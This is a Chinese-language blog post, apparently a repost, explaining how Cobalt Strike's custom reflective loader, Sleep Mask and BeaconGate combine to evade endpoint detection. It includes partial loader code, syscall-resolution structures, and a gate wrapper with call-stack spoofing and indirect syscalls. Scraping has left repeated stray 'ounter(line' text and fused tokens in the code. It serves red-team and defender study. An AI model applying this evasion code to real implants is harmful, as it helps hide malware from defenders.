UDRL, SleepMask, and BeaconGate
在过去几天里,我一直在研究 Cobalt Strike 的 UDRL、SleepMask 和 BeaconGate 功能。花了一些时间来理解这些能力之间的关系,因此这篇文章的目的是为那些关注 Beacon 这些方面的人提供一个简明的概述,并希望能为开发者提供一些帮助。这些功能可以独立使用,为 Beacon 的不同部分带来自定义的规避能力,但更有趣的是,它们在某种程度上也可以相互操作。
用户定义的反射加载器
Beacon 只不过是一个需要加载到进程中才能运行的 Windows DLL。实现这一点有多种方法,但 Beacon 是根据 Stephen Fewer 的反射 DLL 注入[1] 技术设计的。这是一个负责通过实现自己的 PE 加载器来加载自己的 DLL。该 DLL 导出一个名为ReflectiveLoader 的函数,当调用时,它会遍历自己的映像并将其新副本映射到内存中。它必须通过解析其导入表和执行重定位等来满足 DLL 的运行时要求。然后,它定位并执行其入口点 DllMain,此时 Beacon 就启动并运行了。
反射加载器的行为可以通过可塑性 C2 进行影响。例如,stage.obfuscate
所做的事情之一是指示反射加载器在没有其头部的情况下将 Beacon 映射到内存中。还有其他选项,例如stage.allocator
,它更改用于为 Beacon 分配新内存的 API;stage.magic_pe
会覆盖 Beacon 的 NT 头中的 PE 特征标记;而stage.stomppe
指示反射加载器在将 Beacon 映射到内存后覆盖MZ
、PE
和e_lfanew
值。
用户定义的反射加载器 (UDRL) 允许操作员用自己的自定义实现替换 Beacon 的默认反射加载器。这使他们能够超越可塑性 C2 所暴露的自定义功能。想使用在stage.allocator
中不可用的分配 API?没问题。想覆盖比stage.magic_mz
允许的更多字节?尽管来吧。
这是一个非常基本的 UDRL 可能的结构(为了简洁省略了大量代码)。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
extern "C" {
#pragma code_seg(".text$a")
ULONG_PTR __cdecl ReflectiveLoader() {
// determine start address of loader
#ifdef _WIN64
void* loaderStart = &ReflectiveLoader;
#elif _WIN32
void* loaderStart = (char*)GetLocation() - 0xE;
#endif
// determine base address of Beacon DLL
ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress();
// parse NTHeaders
PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress;
PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew);
// resolve the functions needed by the loader
_PPEB pebAddress = GetPEBAddress();
WINDOWSAPIS winApi = { 0 };
if (!ResolveBaseLoaderFunctions(pebAddress, &winApi)) {
returnNULL;
}
// allocate memory for Beacon, yolo RWX
ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (loadedDllBaseAddress == NULL) {
returnNULL;
}
// map sections
if (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress)) {
returnNULL;
};
// resolve Beacon's import table...
ResolveImports(rawDllNtHeader, loadedDllBaseAddress, &winApi);
// perform relocations...
ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress);
// calculate Beacon's entry point
ULONG_PTR entryPoint = loadedDllBaseAddress + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint;
// flush instruction cache to avoid stale code being used
winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call Beacon's entrypoints
((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);
// return address of entry point to caller
return entryPoint;
}
}
// ReflectiveLoader.cpp
使用 UDRL 时需要注意的一点是,加载的 C2 配置文件中stage
块定义的任何选项将被忽略。这是出于设计考虑,因为 UDRL 的理念是将开发者置于主导地位。然而,这在使用默认的 Sleep Mask 时可能会造成混淆,因为它在掩盖和揭示 Beacon 内存时确实使用stage.userwx
作为提示。例如,如果stage.userwx
被设置为true
,但 UDRL 将内存分配为 R/RW/RX(根据每个部分的需要),则 Sleep Mask 将无法掩盖 Beacon 的所有部分(使其保持明文),或者它会尝试掩盖但由于不知道需要先将内存设置为可写而崩溃。
另外,值得注意的是,这个 UDRL 与 Beacon 的 fork & run 后执行命令(execute-assembly、powerpick 等)所使用的反射加载器并不相同。操作员可以编写自定义的后执行 UDRL 来替换默认的(它们几乎是相同的)。然而,正如自定义 UDRL 忽略了可变 C2 的stage
块中的选项一样,自定义后执行 UDRL 也会忽略post-ex
块中的选项。
自定义 Sleep Masks
使用自定义 Sleep Mask 和 UDRL 时,内存分配的问题可以完全解决,因为 UDRL 实际上可以通过 Beacon 将其分配的内存信息传递给 Sleep Mask。这不仅可以包括为 Beacon 的各个部分(.data、.text 等)分配的内存,还可以包括开发者希望进行的任何自定义内存分配。
这些数据通过ALLOCATED_MEMORY_REGION
结构提供。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
typedefstruct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
// BeaconUserData.h
然后通过调用 DllMain,并将 'reason' 设置为DLL_BEACON_USER_DATA
,将其传递给 Beacon,随后再调用DLL_BEACON_START
。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
// pass Beacon User Data (BUD) to Beacon
((DLLMAIN)entryPoint)(0, DLL_BEACON_USER_DATA, &userData);
// call Beacon's entrypoints
((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);
// ReflectiveLoader.cpp
当 Beacon 准备进入休眠时,执行将传递给 Sleep Mask,使用PSLEEPMASK_INFO
结构。
ounter(line
voidsleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)
分配的内存数据可以在BEACON_INFO
结构中找到,可以根据需要进行遍历和处理。
ounter(line
info->beacon_info.allocatedMemory.AllocatedMemoryRegions
系统调用
开发者还可以完全替换 Beacon 的默认系统调用解析器(我认为是基于 SysWhispers3(?))为其他的解析器(如 Hell's Gate、Halo's Gate、Tartarus' Gate、RecycledGate 等)。在 UDRL 中解析系统调用编号和函数指针,并填充SYSCALL_API
和RTL_API
结构。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
typedefstruct {
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
} SYSCALL_API, *PSYSCALL_API;
typedefstruct {
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
// BeaconUserData.h
这些数据随后通过上述的DLL_BEACON_USER_DATA
调用传递给 Beacon。一个SYSCALL_API_ENTRY
条目如下所示:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
typedef struct
{
PVOID fnAddr; // address of Nt* function
PVOID jmpAddr; //syscall/FastSysCall/KiFastSystemCall instruction
DWORD sysnum; // System Call number
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
// BeaconUserData.h
如果在 C2 配置文件中将stage.syscall_method
设置为direct
,则使用fnAddr
值。如果设置为indirect
,则使用jmpAddr
和sysnum
值。
BeaconGate
BeaconGate 是一个功能,指示 Beacon 通过自定义 Sleep Mask 代理支持的 API 调用。其背后的想法是,Sleep Mask 可以掩盖 Beacon 的内存,设置任何额外的规避功能(例如调用栈欺骗),进行 API 调用,解除对 Beacon 的掩盖,然后将结果传回调用者。
如果在配置文件中同时定义了syscall_method
和beacon_gate
,则 BeaconGate 将优先处理。在下面的示例中,只有 VirtualAlloc 将通过 BeaconGate 代理,而所有其他调用将使用间接系统调用。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
stage {
set syscall_method "indirect";
beacon_gate {
VirtualAlloc;
}
}
然而,这并不是说你不能从 BeaconGate 发起系统调用(我们稍后会讨论这个问题)。
当 API 调用被代理到 Sleep Mask 时,相关数据保存在FUNCTION_CALL
结构中。
ounter(lineounter(line
voidsleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)
// sleepmask.cpp
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
typedefstruct {
PVOID functionPtr; // function to call
WinApi function; // enum representing target api
int numOfArgs; // number of arguments
ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; // array of pointers containing the passed arguments (e.g. rcx, rdx, ...)
BOOL bMask; // indicates whether Beacon should be masked during the call
ULONG_PTR retValue; // a pointer containing the return value
} FUNCTION_CALL, * PFUNCTION_CALL;
// beacon_gate.h
处理这些调用的最佳位置可能是在BeaconGateWrapper
函数中。使用 WinAPI 枚举来检查正在调用哪个 API,并使用您希望的任何技术(如 VulcanRaven、SilentMoonwalk 等)执行适当的调用栈欺骗。如果您不需要(或不想)使用系统调用(例如,因为您在 UDRL 中执行了一些卸钩),只需在您的栈欺骗后调用原始函数指针。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
voidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
// mask beacon if needed
if (functionCall->bMask == TRUE) {
MaskBeacon(&info->beacon_info);
}
// call stack spoofing code for requested api
if (functionCall->function == VIRTUALALLOC) {
virtualAllocStackSpoof(functionCall->args);
}
// execute original function pointer
BeaconGate(functionCall);
// unmask beacon if needed
if (functionCall->bMask == TRUE) {
UnMaskBeacon(&info->beacon_info);
}
return;
}
// gate.cpp
如果您确实想使用系统调用,可以忽略原始函数指针,直接执行自定义的系统调用代码。BeaconGate 仍然可以从您在 UDRL 中进行的任何自定义系统调用解析中受益,方法是使用BeaconGetSyscallInformation
BOF API。该 API 返回一个PBEACON_SYSCALLS
结构,其中包含您通过 BUD 提供的PSYSCALL_API
和PRTL_API
。
ounter(lineounter(lineounter(lineounter(line
typedefstruct {
PSYSCALL_API syscalls;
PRTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
需要注意的是,这些数据是从 Beacon 复制的,因此必须 在 Beacon 被掩蔽之前执行。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
voidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
// get custom syscall info
BEACON_SYSCALLS syscall_info;
BeaconGetSyscallInformation(&syscall_info, TRUE);
if (functionCall->bMask == TRUE) {
MaskBeacon(&info->beacon_info);
}
...
}
// gate.cpp
您可以根据所调用的 API,访问所需的 ssn、直接跳转和间接跳转值。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
voidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
// get custom syscall info
BEACON_SYSCALLS syscall_info;
BeaconGetSyscallInformation(&syscall_info, TRUE);
// mask beacon if needed
if (functionCall->bMask == TRUE) {
MaskBeacon(&info->beacon_info);
}
if (functionCall->function == VIRTUALALLOC) {
// setup a fake call stack
virtualAllocStackSpoof(functionCall->args);
// syscall
prepSyscall(
syscall_info.syscalls->ntAllocateVirtualMemory.sysnum,
syscall_info.syscalls->ntAllocateVirtualMemory.jmpAddr);
functionCall->retValue = doSyscall(functionCall->args);
}
// unmask beacon if needed
if (functionCall->bMask == TRUE) {
UnMaskBeacon(&info->beacon_info);
}
return;
}
BOF 系统调用 API
Beacon 还提供了一组特定的系统调用 API,例如BeaconVirtualAlloc
、BeaconVirtualProtect
和BeaconOpenProcess
,供后期执行的 BOF 使用。
当您调用这些 API 时,执行将根据 Beacon 的配置进行。如果 Beacon 未配置为使用系统调用,则将作为常规 WinAPI 调用执行;如果配置为使用默认的直接/间接系统调用实现,则将根据 SysWhispers3 执行;如果您从 UDRL 传入了自定义系统调用数据,则将根据您的自定义解析方法执行;如果配置为使用 BeaconGate,则调用将被代理到您的 Sleep Mask。
对于使用这些常见 API 的 BOF,您无需在所有后期执行的 BOF 之间重复相同的系统调用和/或调用栈欺骗代码。
结论
我认为这篇文章涵盖了我想强调的关于 UDRL、SleepMask 和 BeaconGate 的主要观点。如果它们看起来太可怕或复杂,我希望这能提供一些澄清。一旦您理解了它们,它们并不难使用。
随着 BeaconGate 的发展和普及,我预计开发团队会努力简化这些功能的某些方面。例如,当前的直接/间接系统调用可能会在其当前状态下被弃用,转移到 Sleep Mask 中,并默认通过 BeaconGate 代理。我们甚至可能会看到 SleepMask 和 BeaconGate 合并为一个名称。SleepGate?😅
另一个合乎逻辑的进展可能是使 BOF 开发人员能够通过 BeaconGate 代理任何任意的 API 调用,而不仅仅是当前支持的约 20 个。这将使 BOF 能够受益于 BeaconGate 的规避能力,而无需 BOF 本身进行任何繁重的工作。
参考资料
反射 DLL 注入:https://github.com/stephenfewer/ReflectiveDLLInjection
原文始发于微信公众号(securitainment):UDRL、SleepMask 和 BeaconGate
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论